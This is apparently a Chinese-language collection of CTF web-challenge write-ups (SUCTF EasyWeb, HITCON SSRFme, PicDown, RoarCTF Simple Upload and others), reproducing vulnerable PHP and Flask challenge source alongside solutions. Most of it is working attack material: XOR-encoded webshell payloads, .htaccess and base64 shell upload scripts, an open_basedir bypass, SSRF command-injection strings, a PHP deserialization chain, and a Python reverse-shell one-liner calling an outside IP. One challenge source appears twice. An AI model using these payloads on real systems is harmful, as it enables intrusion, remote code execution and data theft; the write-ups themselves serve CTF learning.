无感情的刷题机器
[SUCTF 2019]EasyWeb 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 <?php function get_the_flag(){ // webadmin will remove your upload file every 20 min!!!! $userdir = "upload/tmp_".md5($_SERVER['REMOTE_ADDR']); if(!file_exists($userdir)){ mkdir($userdir); } if(!empty($_FILES["file"])){ $tmp_name = $_FILES["file"]["tmp_name"]; $name = $_FILES["file"]["name"]; $extension = substr($name, strrpos($name,".")+1); if(preg_match("/ph/i",$extension)) die("^_^"); if(mb_strpos(file_get_contents($tmp_name), '<?')!==False) die("^_^"); if(!exif_imagetype($tmp_name)) die("^_^"); $path= $userdir."/".$name; @move_uploaded_file($tmp_name, $path); print_r($path); } } $hhh = @$_GET['_']; if (!$hhh){ highlight_file(__FILE__); } if(strlen($hhh)>18){ die('One inch long, one inch strong!'); } if ( preg_match('/[\x00- 0-9A-Za-z\'"\`~_&.,|=[\x7F]+/i', $hhh) ) die('Try something else!'); $character_type = count_chars($hhh, 3); if(strlen($character_type)>12) die("Almost there!"); eval($hhh); ?>
考点一:
构造不包含数字和字母的webshell
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 <?php $l = "" ; $r = "" ; $argv = str_split("_GET" ); for ($i=0 ;$i<count($argv);$i++){ for ($j=0 ;$j<255 ;$j++) { $k = chr($j)^chr(255 ); \\dechex(255 ) = ff if ($k == $argv[$i]){ if ($j<16 ){ $l .= "%ff" ; $r .= "%0" . dechex($j); continue ; } $l .= "%ff" ; $r .= "%" . dechex($j); continue ; } } } echo "\{$l`$r\}" ;?>
这里的话我们异或只能构造GET型,POST不行
然后配合
1 ${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}();&ff=phpinfo
,可以执行一些函数。
考点二:
参考链接https://www.dazhuanlan.com/2019/12/17/5df803f62c08a/
nginx的服务器,而且上传目录下有一个php文件,所以上窜.user.ini apache的服务器,应该上传.htaccess 两个要注意的点是:
.htaccess上传的时候不能用GIF89a等文件头去绕过exif_imagetype,因为这样虽然能上传成功,但.htaccess文件无法生效。这时有两个办法:
1 2 #define width 1337 #define height 1337
在.htaccess前添加x00x00x8ax39x8ax39(要在十六进制编辑器中添加,或者使用python的bytes类型) x00x00x8ax39x8ax39 是wbmp文件的文件头 .htaccess中以0x00开头的同样也是注释符,所以不会影响.htaccess 这里的php是7.2的版本,无法使用
1 <script language="php"></script>
来绕过对<?的检测 ps: 可以通过编码进行绕过,如原来使用utf8编码,如果shell中是用utf16编码则可以Bypass 我们这里的解决方法是将一句话进行base64编码,然后在.htaccess中利用php伪协议进行解码,比如:
1 2 3 4 #define width 1337 #define height 1337 AddType application/x-httpd-php .abc php_value auto_append_file "php://filter/convert.base64-decode/resource=/var/www/html/upload/tmp_fd40c7f4125a9b9ff1a4e75d293e3080/shell.abc"
shell.abc:
1 GIF89a12PD9waHAgZXZhbCgkX0dFVFsnYyddKTs/Pg==
这里GIF89a后面那个12是为了补足8个字节,满足base64编码的规则,使用其他的文件头也是可以的贴一个上传的脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 import requests import base64 htaccess = b""" #define width 1337 #define height 1337 AddType application/x-httpd-php .abc php_value auto_append_file "php://filter/convert.base64-decode/resource=/var/www/html/upload/tmp_fd40c7f4125a9b9ff1a4e75d293e3080/shell.abc" """ shell = b"GIF89a12" + base64.b64encode(b"<?php eval($_REQUEST['a']);?>") url = "http://16855023-61d5-430f-bbef-53d0bca8f179.node1.buuoj.cn?_=${%fe%fe%fe%fe^%a1%b9%bb%aa}{%fe}();&%fe=get_the_flag" files = {'file':('.htaccess',htaccess,'image/jpeg')} data = {"upload":"Submit"} response = requests.post(url=url, data=data, files=files) print(response.text) files = {'file':('shell.abc',shell,'image/jpeg')} response = requests.post(url=url, data=data, files=files) print(response.text)
知识点三
绕过open_basedir/disable_function
1 2 3 4 5 6 open_basedir是php.ini中的一个配置选项 它可将用户访问文件的活动范围限制在指定的区域, 假设open_basedir=/home/wwwroot/home/web1/:/tmp/, 那么通过web1访问服务器的用户就无法获取服务器上除了/home/wwwroot/home/web1/和/tmp/这两个目录以外的文件。 注意用open_basedir指定的限制实际上是前缀,而不是目录名。 举例来说: 若"open_basedir = /dir/user", 那么目录 "/dir/user" 和 "/dir/user1"都是可以访问的。
所以如果要将访问限制在仅为指定的目录,请用斜线结束路径名。 payload
1 chdir('img');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');echo(file_get_contents('flag'));
解题
[BJDCTF2020]EzPHP 1nD3x.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 <?php highlight_file(__FILE__ ); error_reporting(0 ); $file = "1nD3x.php" ; $shana = $_GET['shana' ]; $passwd = $_GET['passwd' ]; $arg = '' ; $code = '' ; echo "<br /><font color=red><B>This is a very simple challenge and if you solve it I will give you a flag. Good Luck!</B><br></font>" ;if ($_SERVER) { if ( preg_match('/shana|debu|aqua|cute|arg|code|flag|system|exec|passwd|ass|eval|sort|shell|ob|start|mail|\$|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|read|inc|info|bin|hex|oct|echo|print|pi|\.|\"|\'|log/i' , $_SERVER['QUERY_STRING' ]) ) die ('You seem to want to do something bad?' ); } if (!preg_match('/http|https/i' , $_GET['file' ])) { if (preg_match('/^aqua_is_cute$/' , $_GET['debu' ]) && $_GET['debu' ] !== 'aqua_is_cute' ) { $file = $_GET["file" ]; echo "Neeeeee! Good Job!<br>" ; } } else die ('fxck you! What do you want to do ?!' ); if ($_REQUEST) { foreach ($_REQUEST as $value) { if (preg_match('/[a-zA-Z]/i' , $value)) die ('fxck you! I hate English!' ); } } if (file_get_contents($file) !== 'debu_debu_aqua' ) die ("Aqua is the cutest five-year-old child in the world! Isn't it ?<br>" ); if ( sha1($shana) === sha1($passwd) && $shana != $passwd ){ extract($_GET["flag" ]); echo "Very good! you know my password. But what is flag?<br>" ; } else { die ("fxck you! you don't know my password! And you don't know sha1! why you come here!" ); } if (preg_match('/^[a-z0-9]*$/isD' , $code) || preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%|x|\&|\$|\*|\||\<|\"|\'|\=|\?|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|\.|log|\^/i' , $arg) ) { die ("<br />Neeeeee~! I have disabled all dangerous functions! You can't get my flag =w=" ); } else { include "flag.php" ; $code('' , $arg); } ?>
[HITCON 2017]SSRFme 题目
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 <?php if (isset ($_SERVER['HTTP_X_FORWARDED_FOR' ])) { $http_x_headers = explode(',' , $_SERVER['HTTP_X_FORWARDED_FOR' ]); $_SERVER['REMOTE_ADDR' ] = $http_x_headers[0 ]; } echo $_SERVER["REMOTE_ADDR" ]; $sandbox = "sandbox/" . md5("orange" . $_SERVER["REMOTE_ADDR" ]); @mkdir($sandbox); @chdir($sandbox); $data = shell_exec("GET " . escapeshellarg($_GET["url" ])); $info = pathinfo($_GET["filename" ]); $dir = str_replace("." , "" , basename($info["dirname" ])); @mkdir($dir); @chdir($dir); @file_put_contents(basename($info["basename" ]), $data); highlight_file(__FILE__ );
方法一: file 协议利用 open 命令执行 要执行的命令先前必须要有以命令为文件名的文件存在 所以需要执行两次payload
1 ?url=file:ls /|&filename=ls /|
管道符好像必须要加,
1 http://efc32bf2-e10f-4e22-bdf0-9a17856f32f0.node3.buuoj.cn/sandbox/fcf2bccafc269c160382150a0166d632/ls /|
然后readflag,如果直接/readflag的话,那么会在服务器的根目录创建这个文件,而不是在网站的那个目录,所以是无法命令执行的,所以可以用bash -c 相当于./readflag,而根据php字符解析特性,如果直接将./readflag传入,那么.就会变成下划线,从而不能命令执行。直接bash的话好像是只能bash 有sh后缀的文件,所以不能用。
1 ?url=file:bash -c /readflag|&filename=bash -c /readflag|
方法二:
在vps写入一个马 ma.txt
payload
1 ?filename=ma.php&url=vps.ip/ma.txt
[b01lers2020]Welcome to Earth [HarekazeCTF2019]encode_and_encode 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 <?php error_reporting(0 ); if (isset ($_GET['source' ])) { show_source(__FILE__ ); exit (); } function is_valid ($str) { $banword = [ '\.\.' , '(php|file|glob|data|tp|zip|zlib|phar):' , 'flag' ]; $regexp = '/' . implode('|' , $banword) . '/i' ; if (preg_match($regexp, $str)) { return false ; } return true ; } $body = file_get_contents('php://input' ); $json = json_decode($body, true ); if (is_valid($body) && isset ($json) && isset ($json['page' ])) { $page = $json['page' ]; $content = file_get_contents($page); if (!$content || !is_valid($content)) { $content = "<p>not found</p>\n" ; } } else { $content = '<p>invalid request</p>' ; } $content = preg_replace('/HarekazeCTF\{.+\}/i' , 'HarekazeCTF{<censored>}' , $content); echo json_encode(['content' => $content]);
payload
可以用unicode编码绕过
1 {"page":"p\u0068\u0070://filter/read=convert.base64-encode/resource=/\u0066\u006c\u0061\u0067"}
[网鼎杯 2020 白虎组]PicDown 存在任意文件读取 非预期可直接读flag
预期
读取/proc/self/environ 读取进程运行的环境变量 /proc/self/cmdline 读取当前进程运行的命令
读取../../../../../app/app.py
源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 from flask import Flask, Responsefrom flask import render_templatefrom flask import requestimport osimport urllibapp = Flask(__name__) SECRET_FILE = "/tmp/secret.txt" f = open(SECRET_FILE) SECRET_KEY = f.read().strip() os.remove(SECRET_FILE) @app.route('/') def index () : return render_template('search.html' ) @app.route('/page') def page () : url = request.args.get("url" ) try : if not url.lower().startswith("file" ): res = urllib.urlopen(url) value = res.read() response = Response(value, mimetype='application/octet-stream' ) response.headers['Content-Disposition' ] = 'attachment; filename=beautiful.jpg' return response else : value = "HACK ERROR!" except : value = "SOMETHING WRONG!" return render_template('search.html' , res=value) @app.route('/no_one_know_the_manager') def manager () : key = request.args.get("key" ) print(SECRET_KEY) if key == SECRET_KEY: shell = request.args.get("shell" ) os.system(shell) res = "ok" else : res = "Wrong Key!" return res if __name__ == '__main__' : app.run(host='0.0.0.0' , port=8080 )
可以看到no_one_know_the_manager中要匹配SECRET_KEY,然后执行shell,但是SECRET_KEY所在的secret.txt被删掉了 此处可以通过/proc/pid/fd/读取,这个目录包含了进程打开的每一个文件的链接
执行命令后无回显,本地使用python反弹shell
1 python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('174.1.99.145',7777));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"
[watevrCTF-2019]Cookie Store 点击买flag,修改cooke的session的base64解码后的参数为200,在返回的history中解码后,即可得flag。
[WUSTCTF2020]CV Maker 注册一个用户登录后,直接上传php类型的文件。
[BJDCTF2020]EzPHP 知识点
1 2 3 4 5 6 7 base32 url编码绕过 preg_match在非/s模式下的绕过 $_POST和$_GET的优先级 PHP伪协议。 sha1函数的数组绕过。 create_function()的代码注入
页面源码 找到一个base32的字符串,解码得1nD3x.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 <?php highlight_file(__FILE__ ); error_reporting(0 ); $file = "1nD3x.php" ; $shana = $_GET['shana' ]; $passwd = $_GET['passwd' ]; $arg = '' ; $code = '' ; echo "<br /><font color=red><B>This is a very simple challenge and if you solve it I will give you a flag. Good Luck!</B><br></font>" ;if ($_SERVER) { if ( preg_match('/shana|debu|aqua|cute|arg|code|flag|system|exec|passwd|ass|eval|sort|shell|ob|start|mail|\$|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|read|inc|info|bin|hex|oct|echo|print|pi|\.|\"|\'|log/i' , $_SERVER['QUERY_STRING' ]) ) die ('You seem to want to do something bad?' ); } if (!preg_match('/http|https/i' , $_GET['file' ])) { if (preg_match('/^aqua_is_cute$/' , $_GET['debu' ]) && $_GET['debu' ] !== 'aqua_is_cute' ) { $file = $_GET["file" ]; echo "Neeeeee! Good Job!<br>" ; } } else die ('fxck you! What do you want to do ?!' ); if ($_REQUEST) { foreach ($_REQUEST as $value) { if (preg_match('/[a-zA-Z]/i' , $value)) die ('fxck you! I hate English!' ); } } if (file_get_contents($file) !== 'debu_debu_aqua' ) die ("Aqua is the cutest five-year-old child in the world! Isn't it ?<br>" ); if ( sha1($shana) === sha1($passwd) && $shana != $passwd ){ extract($_GET["flag" ]); echo "Very good! you know my password. But what is flag?<br>" ; } else { die ("fxck you! you don't know my password! And you don't know sha1! why you come here!" ); } if (preg_match('/^[a-z0-9]*$/isD' , $code) || preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%|x|\&|\$|\*|\||\<|\"|\'|\=|\?|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|\.|log|\^/i' , $arg) ) { die ("<br />Neeeeee~! I have disabled all dangerous functions! You can't get my flag =w=" ); } else { include "flag.php" ; $code('' , $arg); } ?>
[强网杯 2019]Upload 存在:/www.tar.gz
Profile.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 <?php namespace app \web \controller ;use think \Controller ;class Profile extends Controller { public $checker; public $filename_tmp; public $filename; public $upload_menu; public $ext; public $img; public $except; public function __construct () { $this ->checker=new Index(); $this ->upload_menu=md5($_SERVER['REMOTE_ADDR' ]); @chdir("../public/upload" ); if (!is_dir($this ->upload_menu)){ @mkdir($this ->upload_menu); } @chdir($this ->upload_menu); } public function upload_img () { if ($this ->checker){ if (!$this ->checker->login_check()){ $curr_url="http://" .$_SERVER['HTTP_HOST' ].$_SERVER['SCRIPT_NAME' ]."/index" ; $this ->redirect($curr_url,302 ); exit (); } } if (!empty ($_FILES)){ $this ->filename_tmp=$_FILES['upload_file' ]['tmp_name' ]; $this ->filename=md5($_FILES['upload_file' ]['name' ]).".png" ; $this ->ext_check(); } if ($this ->ext) { if (getimagesize($this ->filename_tmp)) { @copy($this ->filename_tmp, $this ->filename); @unlink($this ->filename_tmp); $this ->img="../upload/$this->upload_menu/$this->filename" ; $this ->update_img(); }else { $this ->error('Forbidden type!' , url('../index' )); } }else { $this ->error('Unknow file type!' , url('../index' )); } } public function update_img () { $user_info=db('user' )->where("ID" ,$this ->checker->profile['ID' ])->find(); if (empty ($user_info['img' ]) && $this ->img){ if (db('user' )->where('ID' ,$user_info['ID' ])->data(["img" =>addslashes($this ->img)])->update()){ $this ->update_cookie(); $this ->success('Upload img successful!' , url('../home' )); }else { $this ->error('Upload file failed!' , url('../index' )); } } } public function update_cookie () { $this ->checker->profile['img' ]=$this ->img; cookie("user" ,base64_encode(serialize($this ->checker->profile)),3600 ); } public function ext_check () { $ext_arr=explode("." ,$this ->filename); $this ->ext=end($ext_arr); if ($this ->ext=="png" ){ return 1 ; }else { return 0 ; } } public function __get ($name) { return $this ->except[$name]; } public function __call ($name, $arguments) { if ($this ->{$name}){ $this ->{$this ->{$name}}($arguments); } } }
payload
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 <?php namespace app \web \controller ;class Profile { public $checker; public $filename_tmp; public $filename; public $upload_menu; public $ext; public $img; public $except; public function __get ($name) { return $this ->except[$name]; } public function __call ($name, $arguments) { if ($this ->{$name}){ $this ->{$this ->{$name}}($arguments); } } } class Register { public $checker; public $registed; public function __destruct () { if (!$this ->registed){ $this ->checker->index(); } } } $p=new Profile(); $r=new Register(); $p->img="upload_img" ; $p->except=["index" =>"img" ]; $p->ext="png" ; $p->filename_tmp="../public/upload/d99081fe929b750e0557f85e6499103f/0fd406e401da2c937bd181b6c16c0083.png" ; $p->filename="../public/upload/d99081fe929b750e0557f85e6499103f/0fd406e401da2c937bd181b6c16c0083.php" ; $r->checker=$p; $r->registed=false ; echo urlencode(base64_encode(serialize($r)));?>
[网鼎杯2018]Unfinish [GYCTF2020]Easyphp [MRCTF2020]Ezaudit [GXYCTF2019]StrongestMind 保持同一会话运算一千次
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 from requests import *import reurl = "http://3966ac42-b1a5-413c-851a-a241e5fa25ff.node3.buuoj.cn/index.php" s = session() rr = re.compile(r"[0-9]+ [+|-] [0-9]+" ) r = s.get(url) r.encoding = "utf-8" data = {"answer" :eval(rr.findall(r.text)[0 ])} r = s.post(url,data=data) for i in range(1000 ): answer = eval(rr.findall(r.text)[0 ]) data = { "answer" : answer } r = s.post( url , data=data) r.encoding = "utf-8" print('[+%d]:' %(i) + str(answer)) print(r.text)
[安洵杯 2019]不是文件上传 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 <?php class helper { protected $folder = "pic/" ; protected $ifview = False ; protected $config = "config.txt" ; public function upload ($input="file" ) { $fileinfo = $this ->getfile($input); $array = array (); $array["title" ] = $fileinfo['title' ]; $array["filename" ] = $fileinfo['filename' ]; $array["ext" ] = $fileinfo['ext' ]; $array["path" ] = $fileinfo['path' ]; $img_ext = getimagesize($_FILES[$input]["tmp_name" ]); $my_ext = array ("width" =>$img_ext[0 ],"height" =>$img_ext[1 ]); $array["attr" ] = serialize($my_ext); $id = $this ->save($array); if ($id == 0 ){ die ("Something wrong!" ); } echo "<br>" ; echo "<p>Your images is uploaded successfully. And your image's id is $id.</p>" ; } public function getfile ($input) { if (isset ($input)){ $rs = $this ->check($_FILES[$input]); } return $rs; } public function check ($info) { $basename = substr(md5(time().uniqid()),9 ,16 ); $filename = $info["name" ]; $ext = substr(strrchr($filename, '.' ), 1 ); $cate_exts = array ("jpg" ,"gif" ,"png" ,"jpeg" ); if (!in_array($ext,$cate_exts)){ die ("<p>Please upload the correct image file!!!</p>" ); } $title = str_replace("." .$ext,'' ,$filename); return array ('title' =>$title,'filename' =>$basename."." .$ext,'ext' =>$ext,'path' =>$this ->folder.$basename."." .$ext); } public function save ($data) { if (!$data || !is_array($data)){ die ("Something wrong!" ); } $id = $this ->insert_array($data); return $id; } public function insert_array ($data) { $con = mysqli_connect("127.0.0.1" ,"r00t" ,"r00t" ,"pic_base" ); if (mysqli_connect_errno($con)) { die ("Connect MySQL Fail:" .mysqli_connect_error()); } $sql_fields = array (); $sql_val = array (); foreach ($data as $key=>$value){ $key_temp = str_replace(chr(0 ).'*' .chr(0 ), '\0\0\0' , $key); $value_temp = str_replace(chr(0 ).'*' .chr(0 ), '\0\0\0' , $value); $sql_fields[] = "`" .$key_temp."`" ; $sql_val[] = "'" .$value_temp."'" ; } $sql = "INSERT INTO images (" .(implode("," ,$sql_fields)).") VALUES(" .(implode("," ,$sql_val)).")" ; mysqli_query($con, $sql); $id = mysqli_insert_id($con); mysqli_close($con); return $id; } public function view_files ($path) { if ($this ->ifview == False ){ return False ; } $content = file_get_contents($path); echo $content; } function __destruct () { $this ->view_files($this ->config); } } ?>
show.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 <?php include ("./helper.php" );$show = new show(); if ($_GET["delete_all" ]){ if ($_GET["delete_all" ] == "true" ){ $show->Delete_All_Images(); } } $show->Get_All_Images(); class show { public $con; public function __construct () { $this ->con = mysqli_connect("127.0.0.1" ,"r00t" ,"r00t" ,"pic_base" ); if (mysqli_connect_errno($this ->con)){ die ("Connect MySQL Fail:" .mysqli_connect_error()); } } public function Get_All_Images () { $sql = "SELECT * FROM images" ; $result = mysqli_query($this ->con, $sql); if ($result->num_rows > 0 ){ while ($row = $result->fetch_assoc()){ if ($row["attr" ]){ $attr_temp = str_replace('\0\0\0' , chr(0 ).'*' .chr(0 ), $row["attr" ]); $attr = unserialize($attr_temp); } echo "<p>id=" .$row["id" ]." filename=" .$row["filename" ]." path=" .$row["path" ]."</p>" ; } }else { echo "<p>You have not uploaded an image yet.</p>" ; } mysqli_close($this ->con); } public function Delete_All_Images () { $sql = "DELETE FROM images" ; $result = mysqli_query($this ->con, $sql); } } ?>
upload.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 <?php include ("./helper.php" );class upload extends helper { public function upload_base () { $this ->upload(); } } if ($_FILES){ if ($_FILES["file" ]["error" ]){ die ("Upload file failed." ); }else { $file = new upload(); $file->upload_base(); } } $a = new helper(); ?>
show.php有对图片的宽和高反序列化操作,不过,图片的宽和高我们无法控制,唯一可以控制的只有title参数,这里存在着insert注入。
1 2 3 4 5 6 7 8 9 <?php class helper { protected $ifview = True ; protected $config = "/flag" ; } $s=serialize(new helper()); echo str_replace(chr(0 ).'*' .chr(0 ),'\0\0\0' ,$s);
因为上传的文件名中不能有双引号,所以将payload进行16进制编码。
[RoarCTF 2019]Simple Upload 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 <?php namespace Home \Controller ;use Think \Controller ;class IndexController extends Controller { public function index () { show_source(__FILE__ ); } public function upload () { $uploadFile = $_FILES['file' ] ; if (strstr(strtolower($uploadFile['name' ]), ".php" ) ) { return false ; } $upload = new \Think\Upload(); $upload->maxSize = 4096 ; $upload->allowExts = array ('jpg' , 'gif' , 'png' , 'jpeg' ); $upload->rootPath = './Public/Uploads/' ; $upload->savePath = '' ; $info = $upload->upload() ; if (!$info) { $this ->error($upload->getError()); return ; }else { $url = __ROOT__.substr($upload->rootPath,1 ).$info['file' ]['savepath' ].$info['file' ]['savename' ] ; echo json_encode(array ("url" =>$url,"success" =>1 )); } } }
1 2 3 4 5 6 7 8 9 10 $uploadFile = $_FILES['file' ] ; if (strstr(strtolower($uploadFile['name' ]), ".php" ) ) { return false ; } ``` 这个部分只会检测上传的文件file的后缀,而不会检测其他上传的文件的后缀。 而upload函数本省是可以批量上传的。 原题中:
$upload->allowExts = array(‘jpg’, ‘gif’, ‘png’, ‘jpeg’);// 设置附件上传类型 这里设置是无效的,thinkphp 3.2中设置允许上传的文件后缀应该写为:
$upload->exts = array(‘jpg’, ‘gif’, ‘png’, ‘jpeg’);// 设置附件上传类型
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 此处摘抄自thinkphp3.2官网 综上,压根就没有对上传文件做严格的检测,我们甚至只需要上传一个input标签name值不为file都行,只是这样的话,后端不会返回文件路径,所以需要上传一个正常的图片来猜测uniqid函数返回文件路径的大致范围。 方法一: ```php import requests import time import json #上传文件 url = 'http://e54d31dd-efb4-45da-8512-f7387193b5a6.node3.buuoj.cn/index.php/Home/Index/upload' file1 = {'file':('1.txt','r')} file2 = {'file[]':('1.php','r')} #upload()不传参时即是批量上传所以用[] r = requests.post(url,files = file1) print(r.text) r = requests.post(url,files = file2) print(r.text) r = requests.post(url, files = file1) print(r.text) #猜测文件位置 url = "http://e54d31dd-efb4-45da-8512-f7387193b5a6.node3.buuoj.cn/" path = url + "/index.php/home/index/upload" files = {"file":("a.txt",'a'), "file1":("b.php", '<?php eval($_GET["a"]);')} r = requests.post(path, files=files) t1 = r.text.split("/")[-1].split(".")[0] param=json.loads(r.content) print(param) t1 = int(t1, 16) j = t1 while True: path = url + "/Public/Uploads/"+param['url'].split("/")[-2]+"/%s.php" % hex(j)[2:] try: r = requests.get(path,timeout=1) except: continue if r.status_code == 429:#规避过于频繁访问导致的429 time.sleep(0.1) continue elif r.status_code != 404: print(path) print(r.text) break #print(j, path, r.status_code) j -= 1
方法二:
1 2 3 4 5 6 7 import requests url = "http://e54d31dd-efb4-45da-8512-f7387193b5a6.node3.buuoj.cn/index.php/home/index/upload/" s = requests.Session() files = {"file": ("shell.<>php", "<?php eval($_GET['cmd'])?>")} r = requests.post(url, files=files) print(r.text)
[SUCTF 2018]GetShell [HarekazeCTF2019]Avatar Uploader 1 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 $finfo = finfo_open(FILEINFO_MIME_TYPE); $type = finfo_file($finfo, $_FILES['file' ]['tmp_name' ]); finfo_close($finfo); if (!in_array($type, ['image/png' ])) { error('Uploaded file is not PNG format.' ); } $size = getimagesize($_FILES['file' ]['tmp_name' ]); if ($size[0 ] > 256 || $size[1 ] > 256 ) { error('Uploaded image is too large.' ); } if ($size[2 ] !== IMAGETYPE_PNG) { error('What happened...? OK, the flag for part 1 is: <code>' . getenv('FLAG1' ) . '</code>' ); }
用finfo去判断图片类型。必须是image/png 接着用getimagesize去判断图片大小 并且图片类型不能是PNG
图片破坏后。只留下一个文件头。getimagesize就读取不到它的文件宽高和类型了 那么就可以绕过getimagesize的判断 而finfo_file照样可以识别出这是个PNG图片 。
[DDCTF 2019]homebrew event loop 1 ?action:trigger_event%23;action:buy;5%23action:get_flag;
https://www.cnblogs.com/wangtanzhi/p/12309335.html
UserController.php
1 2 3 4 5 6 7 8 9 10 class UserController extends BaseController {…… public function actionIndex () { $listData = $_REQUEST; $this ->loadView('userIndex' ,$listData); } }
BaseController.php,loadView存在变量覆盖
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 class BaseController { private $viewPath; public function loadView ($viewName ='' , $viewData = []) { $this ->viewPath = BASE_PATH . "/View/{$viewName}.php" ; if (file_exists($this ->viewPath)) { extract($viewData); include $this ->viewPath; } } }
userIndex.php 此次存在文件读取,可利用上面的变量覆盖,将$img_file赋值为flag.php
1 2 3 4 5 6 7 8 <?php if (!isset ($img_file)) { $img_file = '/../favicon.ico' ; } $img_dir = dirname(__FILE__ ) . $img_file; $img_base64 = imgToBase64($img_dir); echo '<img src="' . $img_base64 . '">' ; ?>
[CISCN2019 华东北赛区]Web2 [ISITDTU 2019]EasyPHP 1 2 3 4 5 6 7 8 9 10 11 12 <?php highlight_file(__FILE__ ); $_ = @$_GET['_' ]; if ( preg_match('/[\x00- 0-9\'"`$&.,|[{_defgops\x7F]+/i' , $_) ) die ('rosé will not do it' ); if ( strlen(count_chars(strtolower($_), 0x3 )) > 0xd ) die ('you are so close, omg' ); eval ($_);?>
解题
1 2 3 \x00- 0 -9 匹配\x00到空格(\x20),0 -9 的数字 '"`$&.,|[{_defgops 匹配这些字符 \x7F 匹配DEL(\x7F)字符
匹配到以上字符就die掉
1 2 if ( strlen(count_chars(strtolower($_), 0x3 )) > 0xd ) die ('you are so close, omg' );
当mode=3: 会返回包含所有用过的不同字符的字符串,这里不能超过13种字符
先看一下有哪些内置函数可以使用
1 2 3 4 5 6 7 8 <?php $array=get_defined_functions(); print_r($array); foreach ($array['internal' ] as $arr){ if ( preg_match('/[\x00- 0-9\'"\`$&.,|[{_defgops\x7F]+/i' , $arr) ) continue ; if ( strlen(count_chars(strtolower($arr), 0x3 )) > 0xd ) continue ; print ($arr."\n" ); }
result
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 bcmul rtrim trim ltrim chr link unlink tan atan atanh tanh intval mail min max
使用异或绕过
1 2 C:\Users\Administrator>php -r "echo urlencode(~'phpinfo');" %8F%97%8F%96%91%99%90
使用^绕过
1 print_r(scandir(.));=((%9b%9c%9b%9b%9b%9b%9c)^(%9b%8f%9b%9c%9c%9b%8f)^(%8f%9e%96%96%8c%a0%9e)^(%ff%ff%ff%ff%ff%ff%ff))(((%9b%9b%9b%9b%9b%9b%9c)^(%9b%9b%9b%9c%a0%9b%8f)^(%8c%9c%9e%96%a0%96%9e)^(%ff%ff%ff%ff%ff%ff%ff))(%d1^%ff));
读文件内容
1 show_source(end(scandir(.)));=((%8d%9c%97%a0%88%8d%97%8d%9c%a0%a0)^(%9a%97%9b%88%a0%9a%9b%9b%8d%9c%9a)^(%9b%9c%9c%a0%88%9b%9c%9c%9c%a0%a0)^(%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff))(((%a0%97%8d)^(%9a%9a%9b)^(%a0%9c%8d)^(%ff%ff%ff))(((%8d%a0%88%97%8d%9b%9c)^(%9a%9c%8d%9a%9b%9a%8d)^(%9b%a0%9b%9c%8d%97%9c)^(%ff%ff%ff%ff%ff%ff%ff))(%d1^%ff)));
